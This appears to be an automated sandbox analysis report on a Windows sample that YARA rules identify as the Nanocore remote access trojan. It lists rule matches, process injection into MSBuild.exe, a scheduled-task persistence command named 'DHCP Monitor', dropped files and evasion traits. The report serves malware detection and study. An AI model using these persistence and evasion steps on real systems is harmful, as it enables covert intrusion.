Source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.3c030bd.3.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.5724629.9.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.5720000.8.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.5720000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.5490000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.5490000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0.2.NAO09009009.exe.b50000.3.unpack, type: UNPACKEDPE	Matched rule: NanoCore date = 2014/04, filetype = exe, author = Kevin Breen <kevin@techanarchy.net>, maltype = Remote Access Trojan, ref = http://malwareconfig.com/stats/NanoCore
Source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Gen_2 date = 2016-04-22, hash1 = 755f49a4ffef5b1b62f4b5a5de279868c0c1766b528648febf76628f1fe39050, author = Florian Roth, description = Detetcs the Nanocore RAT, license = https://creativecommons.org/licenses/by-nc/4.0/, score = https://www.sentinelone.com/blogs/teaching-an-old-rat-new-tricks/
Source: 2.2.MSBuild.exe.3bfea94.5.raw.unpack, type: UNPACKEDPE	Matched rule: Nanocore_RAT_Feb18_1 date = 2018-02-19, hash1 = aa486173e9d594729dbb5626748ce10a75ee966481b68c1b4f6323c827d9658c, author = Florian Roth, description = Detects Nanocore RAT, reference = Internal Research - T2T, license = https://creativecommons.org/licenses/by-nc/4.0/

Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqVxXNKnhAcArgJoGGYXiyyQu003du003d.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: dhcpmon.exe, 0000000B.00000002.241566186.0000000003191000.00000004.00000001.sdmp	Binary or memory string: kr)C:\Program Files (x86)\DHCP Monitor\.sln
Source: MSBuild.exe, 00000002.00000003.216331679.0000000000BF8000.00000004.00000001.sdmp, dhcpmon.exe, 00000009.00000000.223096222.0000000000B22000.00000002.00020000.sdmp, dhcpmon.exe, 0000000B.00000002.237877590.00000000009E2000.00000002.00020000.sdmp, dhcpmon.exe.2.dr	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: MSBuild.exe, 00000002.00000003.216331679.0000000000BF8000.00000004.00000001.sdmp, dhcpmon.exe, 00000009.00000000.223096222.0000000000B22000.00000002.00020000.sdmp, dhcpmon.exe, 0000000B.00000002.237877590.00000000009E2000.00000002.00020000.sdmp, dhcpmon.exe.2.dr	Binary or memory string: MSBuild MyApp.csproj /t:Clean /p:Configuration=Debug
Source: MSBuild.exe, 00000002.00000003.216331679.0000000000BF8000.00000004.00000001.sdmp, dhcpmon.exe, 00000009.00000000.223096222.0000000000B22000.00000002.00020000.sdmp, dhcpmon.exe, 0000000B.00000002.237877590.00000000009E2000.00000002.00020000.sdmp, dhcpmon.exe.2.dr	Binary or memory string: *.sln+AmbiguousProjectError'MissingProjectError)ProjectNotFoundError)InvalidPropertyError
Source: dhcpmon.exe	Binary or memory string: *.sln

Source: classification engine

Classification label: mal100.troj.evad.winEXE@15/14@0/1

Source: C:\Users\user\Desktop\NAO09009009.exe	Code function: 0_2_004035D8 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,	0_2_004035D8
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_0284149A AdjustTokenPrivileges,	2_2_0284149A
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_02841463 AdjustTokenPrivileges,	2_2_02841463

Source: C:\Users\user\Desktop\NAO09009009.exe

Code function: 0_2_00404983 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00404983

Source: C:\Users\user\Desktop\NAO09009009.exe

Code function: 0_2_004021A2 CoCreateInstance,

0_2_004021A2

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File created: C:\Program Files (x86)\DHCP Monitor

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File created: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3732:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:772:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{2dd052c5-2546-4017-851f-7f690b3c80bf}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5312:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:968:120:WilError_01

Source: C:\Users\user\Desktop\NAO09009009.exe

File created: C:\Users\user\AppData\Local\Temp\nsjC9F7.tmp

Jump to behavior

Source: NAO09009009.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\9603718106bd57ecfbb18fefd769cab4\mscorlib.ni.dll	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp	Jump to behavior
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Section loaded: C:\Windows\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp	Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: NAO09009009.exe	Virustotal: Detection: 33%
Source: NAO09009009.exe	ReversingLabs: Detection: 34%

Source: C:\Users\user\Desktop\NAO09009009.exe

File read: C:\Users\user\Desktop\NAO09009009.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\NAO09009009.exe 'C:\Users\user\Desktop\NAO09009009.exe'
Source: C:\Users\user\Desktop\NAO09009009.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\NAO09009009.exe'
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmpDC18.tmp'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Source: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe 'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\NAO09009009.exe	Process created: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 'C:\Users\user\Desktop\NAO09009009.exe'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp'	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmpDC18.tmp'	Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll

Jump to behavior

Source: NAO09009009.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: indows\MSBuild.pdbpdbild.pdbz source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdbUGP source: NAO09009009.exe, 00000000.00000003.214379860.00000000030D0000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdb source: NAO09009009.exe, 00000000.00000003.214379860.00000000030D0000.00000004.00000001.sdmp
Source:	Binary string: indows\mscorlib.pdbpdblib.pdb source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.pdb source: MSBuild.exe, 00000002.00000002.478510030.0000000002815000.00000004.00000040.sdmp
Source:	Binary string: f:\dd\vsproject\xmake\XMakeCommandLine\objr\i386\MSBuild.pdb source: dhcpmon.exe, dhcpmon.exe.2.dr
Source:	Binary string: mscorrc.pdb source: MSBuild.exe, 00000002.00000002.484083545.0000000005430000.00000002.00000001.sdmp

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqjIje6jGWLd2EOkfZXKqBbgu003du003d.cs	.Net Code: #=q_FL69pQf17BUSAFbWYu1SStMAbdu$R1GJ8VY8UL5_EA= System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqxoz66kOqvxr21iYXZYXWiumy9eZGwFWaiX4C5X8aecUu003d.cs	.Net Code: #=qKU0J1fiP8KA33eFK1owekQ== System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_009774B8 push ebp; ret	2_2_009774B9
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_009774AC push ecx; ret	2_2_009774AD
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_0097ABD8 push cs; retf	2_2_0097ABEF
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00979D74 push eax; retf	2_2_00979D75
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_0097AAF0 push cs; retf	2_2_0097AB07
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_00979D78 pushad ; retf	2_2_00979D79
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Code function: 2_2_0097AB64 push cs; retf	2_2_0097AB7B

Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqJT4I5hOweIku0024xYFEeDszbikglXCuquUdu0024v9AXtyq2nsu003d.cs	High entropy of concatenated method names: '#=qBeOBlH6CwHFnQdZWWBgZ_pemudZ6CfCVcfOQtgpeG$Y=', '#=q5v5cLSMFBaxiTtOEjscx86gN2ozXlfytiL6UmXnyWtg=', '#=q_XA5h2lVGHLcY9dK754wKGrOjAm6aBbwPxcUJXgJThJUz83kMbCL53G5uuOLP6Rq', '#=qIFfr$DrKqIieRc688$vylAlBsEnx9Z3$TxvrDsPURfM=', '#=qejgvNXJQvgM2GomZsygLjreyguSPQ29pQHqjR_a0dWk=', '#=qCGokdf0OOxeMJLDkXSfc3NPmwygIQ29RjKQWj$wbNGB9C1pPgma_891QiNyTRXcA', '#=qDqyUVyJLXCtYqhZ0$opqkomqhUBn2WCeEEvGAXlNQ$I=', '#=qdImPAY1o3YhbLtukwCQ91cISaeIEWRKSYrGZ3dTVnkY=', '#=qza7O1AHrroJC7yRIJz4wINR_Sgo4hDpQrj_OYfIrlJE=', '#=q6Ct3QmvVLFC7my$dL1uEiHGmXJ5qCuK4WIhDwfhPTFs='
Source: 2.2.MSBuild.exe.400000.0.unpack, u0023u003dqWrm21vQ8CBMZP_RBTwpusAu003du003d.cs	High entropy of concatenated method names: '#=qCgU$tDqtOAyz2b$RwfSF7UzBcCAr0rFJWxm16x7Lre0=', '#=qeD3MBfedCIuKIQf9V1u2N3YS4VXE_FOHqw_XAjWtZK8=', '#=q$mvEHEBkZud$AdHPWqsMQnw5Xm5sD4vBSSmqrKuXGOk=', '#=qZaN94n8dM6tBEf$qCdY2kbTZb5BOW8Z134$2tNv7EJs=', '#=qtlZnL8mho$rv1eTFz0Mw9UYFC_yCabEZ0xtVePn6wR5aSHE7ti3UfKg2l7D0_xk8', '#=qVS$QmQjvFfsXSqQAKGSl6HGbkse2SG0XCab4upVjtRJkvhTEk$oIS2I9Zja7id1Q', '#=qxJg7RxTW1v5mnt12xXeJiYJv_bcctbtL2BCD5MjDi45Hlz6t8vwDNTv1Rv7tgIct', '#=qp$ZVC1r9spi890l$D7IwEd3faoKeWHvv42mVq8wIIWM=', '#=qCoWHlVuoVRMkOzC7RZubJCslkxaEWn9yZiIydECf69$ktj0IPD5wAwC2H5Cc8C$L', '#=qqs1moO$mYaS72OXOWe0Z6GycslEb6e9Ipoy7ppW0O5abIp05ajv8doqdJZHlN3cK'

Source: C:\Users\user\Desktop\NAO09009009.exe	File created: C:\Users\user\AppData\Local\Temp\nsoCA66.tmp\5qzt14dbsxlb2e.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	File created: C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe			Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp'

Hooking and other Techniques for Hiding and Protection:

Hides that the sample has been downloaded from the Internet (zone.identifier)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe

File opened: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\NAO09009009.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
